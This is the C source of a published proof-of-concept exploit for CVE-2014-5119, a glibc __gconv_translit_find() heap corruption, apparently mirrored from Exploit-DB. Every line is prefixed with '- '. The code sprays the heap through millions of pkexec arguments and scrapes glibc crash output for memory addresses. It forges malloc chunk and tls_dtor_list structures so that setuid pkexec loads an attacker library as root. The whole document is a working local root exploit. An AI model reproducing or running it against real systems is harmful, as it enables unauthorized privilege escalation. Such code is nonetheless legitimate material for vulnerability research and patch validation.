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- //
- // Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz
- //
- //
- // ---------------------------------------------------
- // CVE-2014-5119 glibc __gconv_translit_find() exploit
- // ------------------------ taviso & scarybeasts -----
- //
- // Tavis Ormandy <taviso@cmpxhg8b.com>
- // Chris Evans <scarybeasts@gmail.com>
- //
- // Monday 25th August, 2014
- //
- #define _GNU_SOURCE
- #include <err.h>
- #include <stdio.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <dlfcn.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdint.h>
- #include <assert.h>
- #include <stdarg.h>
- #include <stddef.h>
- #include <signal.h>
- #include <string.h>
- #include <termios.h>
- #include <stdbool.h>
- #include <sys/user.h>
- #include <sys/stat.h>
- #include <sys/ioctl.h>
- #include <sys/types.h>
- #include <sys/ptrace.h>
- #include <sys/utsname.h>
- #include <sys/resource.h>
- // Minimal environment to trigger corruption in __gconv_translit_find().
- static char * const kCorruptCharsetEnviron[] = {
- "CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
- NULL,
- };
- static const struct rlimit kRlimMax = {
- .rlim_cur = RLIM_INFINITY,
- .rlim_max = RLIM_INFINITY,
- };
- static const struct rlimit kRlimMin = {
- .rlim_cur = 1,
- .rlim_max = 1,
- };
- // A malloc chunk header.
- typedef struct {
- size_t prev_size;
- size_t size;
- uintptr_t fd;
- uintptr_t bk;
- uintptr_t fd_nextsize;
- uintptr_t bk_nextsize;
- } mchunk_t;
- // A tls_dtor_list node.
- typedef struct {
- uintptr_t func;
- uintptr_t obj;
- uintptr_t map;
- uintptr_t next;
- } dlist_t;
- // The known_trans structure glibc uses for transliteration modules.
- typedef struct {
- uint8_t info[32];
- char *fname;
- void *handle;
- int open_count;
- } known_t;
- enum {
- LOG_DEBUG,
- LOG_WARN,
- LOG_ERROR,
- LOG_FATAL,
- };
- // Round up an integer to the next PAGE_SIZE boundary.
- static inline uintptr_t next_page_size(uintptr_t size)
- {
- return (size + PAGE_SIZE - 1) & PAGE_MASK;
- }
- // Allocate a buffer of specified length, starting with s, containing c, terminated with t.
- static void * alloc_repeated_string(size_t length, int s, int c, int t)
- {
- return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1);
- }
- static void logmessage(int level, const char * format, ...)
- {
- va_list ap;
- switch (level) {
- case LOG_DEBUG: fprintf(stderr, "[*] "); break;
- case LOG_WARN: fprintf(stderr, "[*] "); break;
- case LOG_ERROR: fprintf(stderr, "[!] "); break;
- }
- va_start(ap, format);
- vfprintf(stderr, format, ap);
- va_end(ap);
- fputc('\n', stderr);
- if (level == LOG_ERROR) {
- _exit(EXIT_FAILURE);
- }
- }
- // Parse a libc malloc assertion message to extract useful pointers.
- //
- // Note, this isn't to defeat ASLR, it just makes it more portable across
- // different system configurations. ASLR is already nullified using rlimits,
- // although technically even that isn't necessary.
- static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr)
- {
- FILE *pty;
- char *mallocerror;
- char *memorymap;
- char *line;
- char *prev;
- char message[1 << 14];
- char *anon = NULL;
- char r, w, x, s;
- ssize_t count;
- int status;
- uintptr_t mapstart;
- uintptr_t mapend;
- // Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot
- // be changed in setuid programs, so this wrapper catches tty output.
- while (true) {
- // Reset any previous output.
- memset(message, 0, sizeof message);
- logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)...");
- if ((pty = popen("./pty", "r")) == NULL) {
- logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue");
- }
- if ((count = fread(message, 1, sizeof message, pty)) <= 0) {
- logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message);
- }
- logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count);
- pclose(pty);
- mallocerror = strstr(message, "corrupted double-linked list");
- memorymap = strstr(message, "======= Memory map: ========");
- // Unfortunately this isn't reliable, keep trying until it works.
- if (mallocerror == NULL || memorymap == NULL) {
- logmessage(LOG_WARN, "expected output missing (this is normal), trying again...");
- continue;
- }
- logmessage(LOG_DEBUG, "pseudo-pty helper succeeded");
- break;
- }
- *baseaddr = 0;
- *chunkptr = 0;
- *bssaddr = 0;
- *libcaddr = 0;
- logmessage(LOG_DEBUG, "attempting to parse libc fatal error message...");
- // Verify this is a message we understand.
- if (!mallocerror || !memorymap) {
- logmessage(LOG_ERROR, "unable to locate required error messages in crash dump");
- }
- // First, find the chunk pointer that malloc doesn't like
- if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) {
- logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror);
- };
- logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr);
- logmessage(LOG_DEBUG, "attempting to parse the libc maps dump...");
- // Second, parse maps.
- for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) {
- char filename[32];
- // Reset filename.
- memset(filename, 0, sizeof filename);
- // Just ignore the banner printed by glibc.
- if (strcmp(line, "======= Memory map: ========") == 0) {
- continue;
- }
- if (sscanf(line, "%08x-%08x %c%c%c%c %*8x %*s %*u %31s", &mapstart, &mapend, &r, &w, &x, &s, filename) >= 1) {
- // Record the last seen anonymous map, in case the kernel didn't tag the heap.
- if (strlen(filename) == 0) {
- anon = line;
- }
- // If the kernel did tag the heap, then everything is easy.
- if (strcmp(filename, "[heap]") == 0) {
- logmessage(LOG_DEBUG, "successfully located first morecore chunk w/tag @%p", mapstart);
- *baseaddr = mapstart;
- }
- // If it didn't tag the heap, then we need the anonymous chunk before the stack.
- if (strcmp(filename, "[stack]") == 0 && !*baseaddr) {
- logmessage(LOG_WARN, "no [heap] tag was found, using heuristic...");
- if (sscanf(anon, "%08x-%*08x %*c%*c%*c%*c %*8x %*s %*u %31s", baseaddr, filename) < 1) {
- logmessage(LOG_ERROR, "expected to find heap location in line `%s`, but failed", anon);
- }
- logmessage(LOG_DEBUG, "located first morecore chunk w/o tag@%p", *baseaddr);
- }
- if (strcmp(filename, "/usr/lib/libc-2.18.so") == 0 && x == 'x') {
- logmessage(LOG_DEBUG, "found libc.so mapped @%p", mapstart);
- *libcaddr = mapstart;
- }
- // Try to find libc bss.
- if (strlen(filename) == 0 && mapend - mapstart == 0x102000) {
- logmessage(LOG_DEBUG, "expecting libc.so bss to begin at %p", mapstart);
- *bssaddr = mapstart;
- }
- continue;
- }
- logmessage(LOG_ERROR, "unable to parse maps line `%s`, quiting", line);
- break;
- }
- return (*chunkptr == 0 || *baseaddr == 0 || *bssaddr == 0 || *libcaddr == 0) ? 1 : 0;
- }
- static const size_t heap_chunk_start = 0x506c8008;
- static const size_t heap_chunk_end = 0x506c8008 + (2 * 1024 * 1024);
- static const size_t nstrings = 15840000;
- // The offset into libc-2.18.so BSS of tls_dtor_list.
- static const uintptr_t kTlsDtorListOffset = 0x12d4;
- // The DSO we want to load as euid 0.
- static const char kExploitDso[] = "./exploit.so";
- int main(int argc, const char* argv[])
- {
- uintptr_t baseaddr;
- uintptr_t chunkptr;
- uintptr_t bssaddr;
- uintptr_t libcaddr;
- uint8_t *param;
- char **args;
- dlist_t *chain;
- struct utsname ubuf;
- // Look up host type.
- if (uname(&ubuf) != 0) {
- logmessage(LOG_ERROR, "failed to query kernel information");
- }
- logmessage(LOG_DEBUG, "---------------------------------------------------");
- logmessage(LOG_DEBUG, "CVE-2014-5119 glibc __gconv_translit_find() exploit");
- logmessage(LOG_DEBUG, "------------------------ taviso & scarybeasts -----");
- // Print some warning that this isn't going to work on Ubuntu.
- if (access("/etc/fedora-release", F_OK) != 0 || strcmp(ubuf.machine, "i686") != 0)
- logmessage(LOG_WARN, "This proof of concept is designed for 32 bit Fedora 20");
- // Extract some useful pointers from glibc error output.
- if (parse_fatal_error(&chunkptr, &baseaddr, &bssaddr, &libcaddr) != 0) {
- logmessage(LOG_ERROR, "unable to parse libc fatal error message, please try again.");
- }
- logmessage(LOG_DEBUG, "allocating space for argument structure...");
- // This number of "-u" arguments is used to spray the heap.
- // Each value is a 59-byte string, leading to a 64-byte heap chunk, leading to a stable heap pattern.
- // The value is just large enough to usuaully crash the heap into the stack without going OOM.
- if ((args = malloc(((nstrings * 2 + 3) * sizeof(char *)))) == NULL) {
- logmessage(LOG_ERROR, "allocating argument structure failed");
- }
- logmessage(LOG_DEBUG, "creating command string...");
- args[nstrings * 2 + 1] = alloc_repeated_string(471, '/', 1, 0);
- args[nstrings * 2 + 2] = NULL;
- logmessage(LOG_DEBUG, "creating a tls_dtor_list node...");
- // The length 59 is chosen to cause a 64byte allocation by stdrup. That is
- // a 60 byte nul-terminated string, followed by 4 bytes of metadata.
- param = alloc_repeated_string(59, 'A', 'A', 0);
- chain = (void *) param;
- logmessage(LOG_DEBUG, "open_translit() symbol will be at %p", libcaddr + _OPEN_TRANSLIT_OFF);
- logmessage(LOG_DEBUG, "offsetof(struct known_trans, fname) => %u", offsetof(known_t, fname));
- chain->func = libcaddr + _OPEN_TRANSLIT_OFF;
- chain->obj = baseaddr + 8 + sizeof(*chain) - 4 - offsetof(known_t, fname);
- chain->map = baseaddr + 8 + sizeof(*chain);
- chain->next = baseaddr + 8 + 59 - strlen(kExploitDso);
- logmessage(LOG_DEBUG, "appending `%s` to list node", kExploitDso);
- memcpy(param + 59 - strlen(kExploitDso), kExploitDso, 12);
- logmessage(LOG_DEBUG, "building parameter list...");
- for (int i = 0; i < nstrings; ++i) {
- args[i*2 + 1] = "-u";
- args[i*2 + 2] = (void *) chain;
- }
- // Verify we didn't sneak in a NUL.
- assert(memchr(chain, 0, sizeof(chain)) == NULL);
- logmessage(LOG_DEBUG, "anticipating tls_dtor_list to be at %p", bssaddr + kTlsDtorListOffset);
- // Spam all of possible chunks (some are unfortunately missed).
- for (int i = 0; true; i++) {
- uintptr_t chunksize = 64;
- uintptr_t chunkaddr = baseaddr + i * chunksize;
- uintptr_t targetpageoffset = chunkptr & ~PAGE_MASK;
- uintptr_t chunkpageoffset = PAGE_MASK;
- uintptr_t mmapbase = 31804 + ((0xFD8 - targetpageoffset) / 32);
- uint8_t *param = NULL;
- mchunk_t chunk = {
- .prev_size = 0xCCCCCCCC,
- .size = 0xDDDDDDDD,
- .fd_nextsize = bssaddr + kTlsDtorListOffset - 0x14,
- .bk_nextsize = baseaddr + 8,
- };
- // Compensate for heap metadata every 1MB of allocations.
- chunkaddr += 8 + (i / (1024 * 1024 / chunksize - 1) * chunksize);
- if (chunkaddr < heap_chunk_start)
- continue;
- if (chunkaddr > heap_chunk_end)
- break;
- chunkpageoffset = chunkaddr & ~PAGE_MASK;
- if (chunkpageoffset > targetpageoffset) {
- continue;
- }
- if (targetpageoffset - chunkpageoffset > chunksize) {
- continue;
- }
- // Looks like this will fit, compensate the pointers for alignment.
- chunk.fd = chunk.bk = chunkaddr + (targetpageoffset - chunkpageoffset);
- if (memchr(&chunk, 0, sizeof chunk)) {
- logmessage(LOG_WARN, "parameter %u would contain a nul, skipping", i);
- continue;
- }
- args[mmapbase + i * 2] = param = alloc_repeated_string(60, 'A', 'A', 0);
- memcpy(param + (targetpageoffset - chunkpageoffset),
- &chunk,
- sizeof chunk);
- }
- setrlimit(RLIMIT_STACK, &kRlimMax);
- setrlimit(RLIMIT_DATA, &kRlimMin);
- args[0] = "pkexec";
- logmessage(LOG_DEBUG, "execvpe(%s...)...", args[0]);
- execvpe("pkexec", args, kCorruptCharsetEnviron);
- }
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